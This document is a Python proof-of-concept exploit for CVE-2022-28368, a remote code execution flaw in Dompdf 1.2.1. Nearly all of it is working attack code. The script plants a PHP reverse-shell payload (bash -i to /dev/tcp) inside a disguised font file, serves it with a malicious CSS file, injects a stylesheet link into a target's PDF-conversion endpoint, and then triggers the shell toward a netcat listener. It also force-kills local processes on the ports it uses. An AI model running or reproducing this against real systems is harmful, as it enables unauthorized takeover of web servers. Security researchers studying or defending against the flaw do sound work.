Dompdf 1.2.1 - Remote Code Execution (RCE)

#!/usr/bin/python3

# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)
# Date: 16 February 2023
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://dompdf.github.io/
# Software Link: https://github.com/dompdf/dompdf
# Version: <1.2.1
# Tested on: Kali linux
# CVE : CVE-2022-28368
# Github Link   : https://github.com/rvizx/CVE-2022-28368
  
import subprocess
import re
import os
import sys
import curses
import requests
import base64
import argparse
import urllib.parse 
from urllib.parse import urlparse

def banner():
    print('''

                \033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit
                \033[0mRavindu Wickramasinghe\033[2m | rvz  - @rvizx9
                https://github.com/rvizx/\033[0mCVE-2022-28368

''')

exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="

def get_ip_addresses():
    output = subprocess.check_output(['ifconfig']).decode()
    ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
    ip_addresses = re.findall(ip_pattern, output)
    ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
    ip_addresses = list(set(ip_addresses))
    ip_addresses.insert(0, 'localhost')
    return ip_addresses

def choose_ip_address(stdscr, ip_addresses):
    curses.curs_set(0)
    curses.noecho()
    stdscr.keypad(True)
    current_row = 0
    num_rows = len(ip_addresses)
    stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
    while True:
        stdscr.clear()
        stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
        for i, ip_address in enumerate(ip_addresses):
            if i == current_row:
                stdscr.addstr(ip_address, curses.A_REVERSE)
            else:
                stdscr.addstr(ip_address)
            stdscr.addstr("\n")
        key = stdscr.getch()
        if key == curses.KEY_UP and current_row > 0:
            current_row -= 1
        elif key == curses.KEY_DOWN and current_row < num_rows - 1:
            current_row += 1
        elif key == curses.KEY_ENTER or key in [10, 13]:
            return ip_addresses[current_row]

def help():
    print('''
usage: 
    ./dompdf-rce --inject <css-inject-endpoint> --dompdf <dompdf-instance>  

example:
    ./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/

notes: 
    - Provide the parameters in the URL (regardless the request method)
    - Known Issues!  - Testing with https://github.com/positive-security/dompdf-rce                 
        The program has been successfully tested for RCE on some systems where dompdf was implemented,
        But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
        due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2. 
        In this application, the same implementation  was added for now.    
        Although it may be pointless at the moment, you can still manually add the payload 
        by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php    
    
    - more : https://www.cve.org/CVERecord?id=CVE-2022-28368
''')

    sys.exit()

def check_url(url):
    regex = re.compile(
        r'^(?:http|ftp)s?://' 
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
        r'localhost|'  
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
        r'(?::\d+)?'
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)
    if not re.match(regex, url):
        print(f"\033[91m[err]:\033[0m {url} is not a valid url")
        return False
    else:
        return True


def final_param(url):
    query_start = url.rfind('?')
    if query_start == -1:
        query_start = url.rfind('&')
    if query_start == -1:
        return None
    query_string = url[query_start+1:]

    for param in reversed(query_string.split('&')):
        if '=' in param:
            name = param.split('=')[0]
            if name:
                return name
    return None


if __name__ == '__main__':
    banner()
    ports = ['9001', '9002']
    for port in ports:
        try:
            processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")
            for line in processes.split("\n"):
                if "LISTEN" in line:
                    pid = line.split()[1]
                    port = line.split()[8].split(":")[1]
                    if port == "9001" or port == "9002":
                        os.system("kill -9 {}".format(pid))
            print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')        
        except:
            pass

    if len(sys.argv) == 1:
        print("\033[91m[err]:\033[0m no endpoints were provided. try --help")
        sys.exit(1)

    elif sys.argv[1] == "--help" or sys.argv[1] == "-h":
        help()

    elif len(sys.argv) > 1:
        parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>")
        parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)
        parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)
        args = parser.parse_args()
        injectpoint = args.inject
        dompdf_url = args.dompdf

        if not check_url(injectpoint) and (not check_url(dompdf_url)):
            sys.exit()   

        param=final_param(injectpoint)
        if param == None:
            print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")
            sys.exit()

        ip_addresses = get_ip_addresses()
        sip = curses.wrapper(choose_ip_address, ip_addresses)
        print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')
        
        shell = '''<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'''+sip+'''/9002 0>&1'");?>'''
        print("\033[94m[inf]:\033[0m using payload: " +shell)
        
        print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...")        
        decoded_data = base64.b64decode(exploit_font).decode('utf-8')
        decoded_data += '\n' + shell
        css = '''
@font-face {
    font-family:'exploitfont';
    src:url('http://'''+sip+''':9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
}
        '''
        with open("exploit.css","w") as f:
                    f.write(css)
        with open("exploit_font.php","w") as f:
            f.write(decoded_data)
        print("\033[94m[inf]:\033[0m starting http server on port 9001..")
        http_server = subprocess.Popen(['python', '-m', 'http.server', '9001'])
        url = "http://"+sip+":9001/exploit_font.php"
        echo_output = subprocess.check_output(['echo', '-n', url.encode()])
        md5sum_output = subprocess.check_output(['md5sum'], input=echo_output)
        md5_hash = md5sum_output.split()[0].decode()
        print("\033[94m[inf]:\033[0m url hash: "+md5_hash)
        print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php")
        print("\033[94m[inf]:\033[0m sending the payloads..\n")
        
        url = injectpoint
        if url.endswith("/"):
            url = url[:-1]

        headers = {
                'Host': urlparse(injectpoint).hostname,
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'Connection': 'close',
                'Upgrade-Insecure-Requests': '1',
                'Content-Type': 'application/x-www-form-urlencoded',
        }

        payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>"
        data = '{\r\n"'+param+'": "'+payload+'"\r\n}'            
        try:
            response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)
            response2 = requests.post(url, headers=headers, data=data, verify=False)
        except:
            print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")
            sys.exit()

        if response1.status_code == 200 or response2.status_code == 200:
            print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")
        else:
            print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))

        print("\033[94m[inf]:\033[0m terminating the http server..")
        http_server.terminate()

        print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")
        print("\nnc -lvnp 9002")
        input("\n\033[93m[ins]:\033[0m press enter to continue!")
        print("\033[93m[ins]:\033[0m check for connections!")
        
        del headers['Content-Type']        
        url = dompdf_url
        if url.endswith("/"):
            url = url[:-1]

        url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php"        
        response = requests.get(
            url,
            headers=headers,
            verify=False,  )
         
        if response.status_code == 200:
            print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
        else:
            print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))         
        print("\033[94m[inf]:\033[0m process complete!")